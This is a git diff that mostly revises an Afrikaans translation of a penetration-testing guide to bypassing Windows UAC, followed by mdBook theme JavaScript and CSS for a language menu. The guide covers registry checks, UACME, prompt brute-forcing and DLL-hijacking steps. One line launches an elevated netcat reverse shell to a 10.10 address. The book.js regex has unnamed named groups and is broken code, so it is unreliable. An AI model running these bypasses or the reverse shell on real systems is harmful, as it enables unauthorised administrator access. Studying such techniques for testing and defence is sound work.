+Hierdie [bladsy](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bespreek hoe UAC in groot diepte werk en sluit die aanmeldproses, gebruikerservaring, en UAC argitektuur in. Administrateurs kan sekuriteitsbeleide gebruik om te configureer hoe UAC spesifiek vir hul organisasie op die plaaslike vlak werk (met behulp van secpol.msc), of geconfigureer en versprei via Groep Beleidsobjekte (GPO) in 'n Aktiewe Gidsdomein omgewing. Die verskillende instellings word in detail bespreek [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Daar is 10 Groep Beleidsinstellings wat vir UAC gestel kan word. Die volgende tabel bied addisionele besonderhede:
-| Groep Beleidsinstelling | Registriesleutel | Standaard Instelling |
+| Groep Beleidsinstelling | Registriesleutel | Standaard Instelling |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [Gebruikersrekeningbeheer: Admin Goedkeuringsmodus vir die ingeboude Administrateur rekening](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Gedeaktiveer |
| [Gebruikersrekeningbeheer: Laat UIAccess toepassings toe om vir verhoogde toegang te vra sonder om die veilige desktop te gebruik](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Gedeaktiveer |
-| [Gebruikersrekeningbeheer: Gedrag van die verhoogingsprompt vir administrateurs in Admin Goedkeuringsmodus](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Vra om toestemming vir nie-Windows binêre |
-| [Gebruikersrekeningbeheer: Gedrag van die verhoogingsprompt vir standaard gebruikers](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Vra om geloofsbriewe op die veilige desktop |
+| [Gebruikersrekeningbeheer: Gedrag van die verhoogde prompt vir administrateurs in Admin Goedkeuringsmodus](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Vra om toestemming vir nie-Windows binêre |
+| [Gebruikersrekeningbeheer: Gedrag van die verhoogde prompt vir standaard gebruikers](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Vra om geloofsbriewe op die veilige desktop |
| [Gebruikersrekeningbeheer: Ontdek toepassingsinstallasies en vra om te verhoog](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Geaktiveer (standaard vir huis) Gedeaktiveer (standaard vir onderneming) |
| [Gebruikersrekeningbeheer: Verhoog slegs uitvoerbare lêers wat onderteken en gevalideer is](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Gedeaktiveer |
| [Gebruikersrekeningbeheer: Verhoog slegs UIAccess toepassings wat in veilige plekke geïnstalleer is](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Geaktiveer |
| [Gebruikersrekeningbeheer: Laat alle administrateurs in Admin Goedkeuringsmodus loop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Geaktiveer |
-| [Gebruikersrekeningbeheer: Skakel oor na die veilige desktop wanneer daar vir verhooging gevra word](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Geaktiveer |
+| [Gebruikersrekeningbeheer: Skakel oor na die veilige desktop wanneer daar vir verhoogde toegang gevra word](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Geaktiveer |
| [Gebruikersrekeningbeheer: Virtualiseer lêer- en registrieskryf foute na per-gebruiker plekke](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Geaktiveer |
### UAC Omseiling Teorie
@@ -57,10 +57,10 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- As **`0`** dan, UAC sal nie vra nie (soos **deaktiveer**)
- As **`1`** word die admin **gevra vir gebruikersnaam en wagwoord** om die binêre met hoë regte uit te voer (op Secure Desktop)
-- As **`2`** (**Altijd my kennisgewing**) sal UAC altyd om bevestiging van die administrateur vra wanneer hy probeer om iets met hoë regte uit te voer (op Secure Desktop)
+- As **`2`** (**Altyd my inlig**) sal UAC altyd om bevestiging van die administrateur vra wanneer hy probeer om iets met hoë regte uit te voer (op Secure Desktop)
- As **`3`** soos `1` maar nie noodsaaklik op Secure Desktop nie
- As **`4`** soos `2` maar nie noodsaaklik op Secure Desktop nie
-- as **`5`**(**standaard**) sal dit die administrateur vra om te bevestig om nie-Windows binêre met hoë regte te loop
+- as **`5`**(**standaard**) sal dit die administrateur vra om te bevestig om nie-Windows binêre met hoë regte te laat loop
Dan, moet jy na die waarde van **`LocalAccountTokenFilterPolicy`** kyk\
As die waarde **`0`** is, dan kan slegs die **RID 500** gebruiker (**ingeboude Administrateur**) **admin take sonder UAC** uitvoer, en as dit `1` is, kan **alle rekeninge binne die "Administrators"** groep dit doen.
@@ -71,7 +71,7 @@ As **`0`**(standaard), kan die **ingeboude Administrateur rekening** afstandsadm
#### Samevatting
- As `EnableLUA=0` of **nie bestaan nie**, **geen UAC vir enigiemand**
-- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=1` , Geen UAC vir enigiemand**
+- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=1`, Geen UAC vir enigiemand**
- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=0` en `FilterAdministratorToken=0`, Geen UAC vir RID 500 (Inggeboude Administrateur)**
- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=0` en `FilterAdministratorToken=1`, UAC vir almal**
@@ -89,11 +89,11 @@ whoami /groups | findstr Level
Die UAC omseiling is nodig in die volgende situasie: **die UAC is geaktiveer, jou proses loop in 'n medium integriteitskonteks, en jou gebruiker behoort tot die administrateursgroep**.
-Dit is belangrik om te noem dat dit **baie moeiliker is om die UAC om te seil as dit op die hoogste sekuriteitsvlak (Altijd) is as wanneer dit op enige van die ander vlakke (Standaard) is.**
+Dit is belangrik om te noem dat dit **veel moeiliker is om die UAC om te seil as dit op die hoogste sekuriteitsvlak (Altijd) is as wanneer dit op enige van die ander vlakke (Standaard) is.**
### UAC gedeaktiveer
-As UAC reeds gedeaktiveer is (`ConsentPromptBehaviorAdmin` is **`0`**) kan jy **'n omgekeerde skulp met administrateursregte uitvoer** (hoë integriteitsvlak) met iets soos:
+As UAC reeds gedeaktiveer is (`ConsentPromptBehaviorAdmin` is **`0`**) kan jy **'n omgekeerde skulp met administratiewe regte uitvoer** (hoë integriteitsvlak) met iets soos:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@@ -104,7 +104,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
-### **Baie** Basiese UAC "omseiling" (volledige lêerstelselo toegang)
+### **Baie** Basiese UAC "omseiling" (volledige lêerstelseltogang)
As jy 'n shell het met 'n gebruiker wat binne die Administrators-groep is, kan jy **die C$** gedeelde via SMB (lêerstelsel) plaaslik in 'n nuwe skyf monteer en jy sal **toegang hê tot alles binne die lêerstelsel** (selfs die Administrateur se tuisgids).
@@ -139,7 +139,7 @@ Dokumentasie en hulpmiddel in [https://github.com/wh0amitz/KRBUACBypass](https:/
### UAC omseil exploits
-[**UACME** ](https://github.com/hfiref0x/UACME) wat 'n **samestelling** van verskeie UAC omseil exploits is. Let daarop dat jy **UACME met visual studio of msbuild moet saamstel**. Die samestelling sal verskeie uitvoerbare lêers skep (soos `Source\Akagi\outout\x64\Debug\Akagi.exe`), jy moet weet **watter een jy nodig het.**\
+[**UACME** ](https://github.com/hfiref0x/UACME) wat 'n **samestelling** van verskeie UAC omseil exploits is. Let daarop dat jy **UACME moet saamstel met visual studio of msbuild**. Die samestelling sal verskeie uitvoerbare lêers skep (soos `Source\Akagi\outout\x64\Debug\Akagi.exe`), jy moet weet **watter een jy nodig het.**\
Jy moet **versigtig wees** omdat sommige omseilings **ander programme kan vra** wat die **gebruiker** sal **waarsku** dat iets aan die gebeur is.
UACME het die **bou weergawe waaruit elke tegniek begin werk het**. Jy kan soek na 'n tegniek wat jou weergawes beïnvloed:
@@ -150,11 +150,11 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
-Ook, deur [hierdie](https://en.wikipedia.org/wiki/Windows_10_version_history) bladsy te gebruik, kry jy die Windows weergawe `1607` uit die bou weergawes.
+Ook, deur [hierdie](https://en.wikipedia.org/wiki/Windows_10_version_history) bladsy te gebruik, kry jy die Windows weergawe `1607` van die bou weergawes.
#### Meer UAC omseilings
-**Alle** die tegnieke wat hier gebruik word om AUC te omseil **vereis** 'n **volledige interaktiewe skulp** met die slagoffer (n 'gewone nc.exe skulp is nie genoeg nie).
+**Alle** die tegnieke wat hier gebruik word om AUC te omseil **vereis** 'n **volledige interaktiewe skulp** met die slagoffer (n 'n algemene nc.exe skulp is nie genoeg nie).
Jy kan dit kry deur 'n **meterpreter** sessie te gebruik. Migreer na 'n **proses** wat die **Sessie** waarde gelyk is aan **1**:
@@ -170,7 +170,7 @@ Boonop, as jy 'n GUI sessie kry wat iemand gebruik het (potensieel via RDP) is d
### Ratelige brute-force UAC omseiling
-As jy nie omgee om raserig te wees nie, kan jy altyd **iets soos** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) **loop wat vra om toestemmings te verhoog totdat die gebruiker dit aanvaar**.
+As jy nie omgee om ratelig te wees nie, kan jy altyd **iets soos** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) **loop wat vra om toestemmings te verhoog totdat die gebruiker dit aanvaar**.
### Jou eie omseiling - Basiese UAC omseiling metodologie
@@ -179,7 +179,7 @@ As jy na **UACME** kyk, sal jy opgemerk dat **meeste UAC omseilings 'n Dll Hijac
1. Vind 'n binêre wat **autoelevate** (kontroleer dat wanneer dit uitgevoer word, dit in 'n hoë integriteitsvlak loop).
2. Met procmon vind "**NAME NOT FOUND**" gebeurtenisse wat kwesbaar kan wees vir **DLL Hijacking**.
3. Jy sal waarskynlik moet **skryf** die DLL binne sommige **beskermde paaie** (soos C:\Windows\System32) waar jy nie skrywe toestemmings het nie. Jy kan dit omseil deur:
- 1. **wusa.exe**: Windows 7,8 en 8.1. Dit laat jou toe om die inhoud van 'n CAB-lêer binne beskermde paaie te onttrek (omdat hierdie hulpmiddel van 'n hoë integriteitsvlak uitgevoer word).
+ 1. **wusa.exe**: Windows 7, 8 en 8.1. Dit laat jou toe om die inhoud van 'n CAB-lêer binne beskermde paaie te onttrek (omdat hierdie hulpmiddel van 'n hoë integriteitsvlak uitgevoer word).
2. **IFileOperation**: Windows 10.
4. Berei 'n **script** voor om jou DLL binne die beskermde pad te kopieer en die kwesbare en autoelevated binêre uit te voer.
diff --git a/theme/book.js b/theme/book.js
index 1c8d77287..ccba50404 100644
--- a/theme/book.js
+++ b/theme/book.js
@@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) {
});
})();
+
+(function menubarLanguage() {
+ var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle');
+ var menubarLanguagePopup = document.getElementById('menubar-languages-popup');
+ var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link');
+
+ function showLanguage() {
+ menubarLanguagePopup.style.display = 'flex';
+ menubarLanguageToggleButton.setAttribute('aria-expanded', true);
+ }
+
+ function hideLanguage() {
+ menubarLanguagePopup.style.display = 'none';
+ menubarLanguageToggleButton.setAttribute('aria-expanded', false);
+ menubarLanguageToggleButton.focus();
+ }
+
+ menubarLanguageToggleButton.addEventListener('click', function () {
+ if (menubarLanguagePopup.style.display === 'flex') {
+ hideLanguage();
+ } else {
+ showLanguage();
+ }
+ });
+
+ menubarLanguagePopup.addEventListener('focusout', function(e) {
+ // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+ if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) {
+ hideLanguage();
+ }
+ });
+
+ // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+ document.addEventListener('click', function(e) {
+ if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) {
+ hideLanguage();
+ }
+ });
+
+ languageButtons.forEach((btn) => {
+ btn.addEventListener('click', function(e) {
+ const regex = /(?:(?:\/)+(?[a-z]{2}(?=\/|$)))?(?(?:\/)*.*)?/g
+ var match = regex.exec(window.location.pathname)
+
+ var path = match.groups.path
+ console.log(`Path: ${path} ${typeof path}`)
+
+ const lang = match.groups.lang
+ console.log(`Lang: ${lang}`)
+
+ window.location = `/${e.target.id}${path}${window.location.hash}`
+ });
+ })
+})();
+
(function chapterNavigation() {
document.addEventListener('keydown', function (e) {
if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
index 8cbda7c69..ead7ee881 100644
--- a/theme/css/chrome.css
+++ b/theme/css/chrome.css
@@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar {
}
}
+.right-buttons .icons {
+ display: flex;
+ flex-direction: row;
+ flex-wrap: wrap;
+ column-gap: 0.5rem;
+}
+
.icon-button {
border: none;
background: var(--bg);
@@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar {
/* Collapse Menu Popup */
+#menubar-collapse-toggle {
+ position: relative;
+}
#menubar-collapse-popup {
position: absolute;
- right: 30px;
- top: var(--menu-bar-height);
+ right: 0px;
+ top: 35px;
z-index: 105;
border-radius: 5px;
font-size: 14px;
@@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar {
background-color: var(--theme-hover);
}
+/* Languages Menu Popup */
+#menubar-languages-toggle {
+ position: relative;
+}
+
+#menubar-languages-popup {
+ position: absolute;
+ right: 0px;
+ top: 35px;
+ z-index: 105;
+ border-radius: 5px;
+ font-size: 14px;
+ color: var(--fg);
+ background: var(--bg);
+ border: 1px solid var(--table-border-color);
+ margin: 0;
+ padding: 0px;
+ display: none;
+ flex-direction: column;
+ max-height: 300px;
+ width: 150px;
+ overflow: scroll;
+}
+#menubar-languages-popup .menu-bar-link {
+ border: 0;
+ margin: 0;
+ padding: 8px 20px;
+ line-height: 25px;
+ white-space: nowrap;
+ text-align: start;
+ cursor: pointer;
+ color: inherit;
+ background: inherit;
+ font-size: inherit;
+}
+#menubar-languages-popup .menu-bar-link:hover {
+ background-color: var(--theme-hover);
+}
.left-buttons {
display: flex;
diff --git a/theme/index.hbs b/theme/index.hbs
index ecd2565f4..95c964391 100644
--- a/theme/index.hbs
+++ b/theme/index.hbs
@@ -144,34 +144,60 @@